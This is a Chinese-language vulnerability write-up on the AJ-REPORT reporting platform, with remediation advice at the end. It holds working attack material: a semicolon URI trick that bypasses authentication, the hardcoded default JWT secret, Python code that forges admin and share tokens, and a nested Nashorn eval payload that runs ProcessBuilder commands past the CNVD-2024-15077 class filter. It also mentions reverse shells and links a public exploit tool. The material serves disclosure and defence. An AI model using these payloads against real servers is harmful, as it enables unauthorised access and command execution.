AJ-REPORT全新鉴权及远程命令修复绕过分析
字数 1202 2025-08-04 08:17:24
AJ-REPORT鉴权绕过及远程命令执行漏洞分析与利用
漏洞概述
AJ-REPORT系统存在两处严重安全漏洞:
- 鉴权绕过漏洞:通过URI解析特性和默认JWT密钥可绕过系统鉴权
- 远程命令执行漏洞:在已修复的nashorn引擎表达式执行处存在绕过可能
鉴权绕过分析
方法一:URI分号绕过
系统鉴权逻辑位于TokenFilter类中,通过request.getRequestURI()获取URI进行校验:
// 错误示范 - 使用getRequestURI()
String uri = request.getRequestURI();
if(uri.contains("swagger-ui")) {
// 放行
}
绕过原理:
- Tomcat的
CoyoteAdapter.parsePathParameters()会将;后的内容识别为路径参数 - 例如
/a;b/c会被解析为/a/c - 构造
/dataSetParam;swagger-ui/verification即可绕过
修复建议:
// 正确方式 - 使用getServletPath()
String uri = request.getServletPath();
方法二:默认JWT密钥绕过
即使修复了URI绕过,系统仍存在默认JWT密钥问题:
- JWT生成逻辑:
public String createToken(String username, String uuid, Integer type, String tenantCode) {
return JWT.create()
.withClaim("username", username)
.withClaim("uuid", uuid)
.withClaim("type", type)
.withClaim("tenant", tenantCode)
.sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
}
-
默认密钥:
anji_plus_gaea_p@ss1234 -
伪造Token示例(Python):
import jwt
def get_fake_token():
payload = {
"type": 0,
"uuid": "627750b8be86421d94facec7e4dba555",
"tenant": "tenantCode",
"username": "admin"
}
return jwt.encode(payload, 'anji_plus_gaea_p@ss1234', algorithm='HS256')
方法三:ShareToken绕过
系统还存在ShareToken校验逻辑:
- 默认密钥:同样硬编码
- 伪造ShareToken:
def get_fake_share_token():
payload = {
"shareCode": 1,
"reportCode": "/", # 通用性
"exp": 4070880000, # 长期有效
"iat": 1715402146,
"sharePassword": 1
}
return jwt.encode(payload, JWT_SECRET, algorithm='HS256')
远程命令执行绕过
漏洞位置
DataSetParamController.java中的/verification路由:
@PostMapping("/verification")
public ResponseBean verification(@RequestBody Map<String, String> map) {
String verification = map.get("verification");
// 调用engine.eval执行表达式
return ResponseBean.builder().data(dataSetParamService.verification(verification)).build();
}
原始修复方案
针对CNVD-2024-15077的修复:
- 添加了
ClassFilter过滤危险类 - 过滤了
java.lang.ProcessBuilder等命令执行相关类
绕过方法
利用nashorn引擎的嵌套执行特性:
function verification(data){
var se = new javax.script.ScriptEngineManager();
var r = se.getEngineByExtension("js").eval(
"new java.lang.ProcessBuilder('whoami').start().getInputStream();"
);
result = new java.io.BufferedReader(new java.io.InputStreamReader(r));
ss = '';
while((line = result.readLine()) != null){ ss += line };
return ss;
}
绕过原理:
- 外层
ScriptEngineManager受ClassFilter限制 - 内层新创建的
ScriptEngineManager不受限制 - 通过嵌套eval绕过类过滤检查
其他可利用路由
/dataSet/testTransform路由也存在表达式执行,但无回显:
- 可通过发起HTTP请求外带数据
- 或执行反弹shell等操作
完整修复建议
-
鉴权修复:
- 使用
request.getServletPath()替代getRequestURI() - 移除不必要的swagger-ui放行逻辑
- 修改默认JWT密钥为随机强密码
- 使用
-
命令执行修复:
- 禁用动态脚本执行功能
- 如需保留功能,实现严格的白名单过滤
- 升级JDK版本,应用最新的安全补丁
-
配置加固:
- 修改所有默认凭证
- 实现密钥轮换机制
- 增加操作审计日志
利用工具
GitHub上已有公开利用工具:
https://github.com/yuebusao/AJ-REPORT-EXPLOIT
参考链接
-
JEP 202: Nashorn的类过滤机制
https://openjdk.org/jeps/202 -
原始漏洞公告
CNVD-2024-15077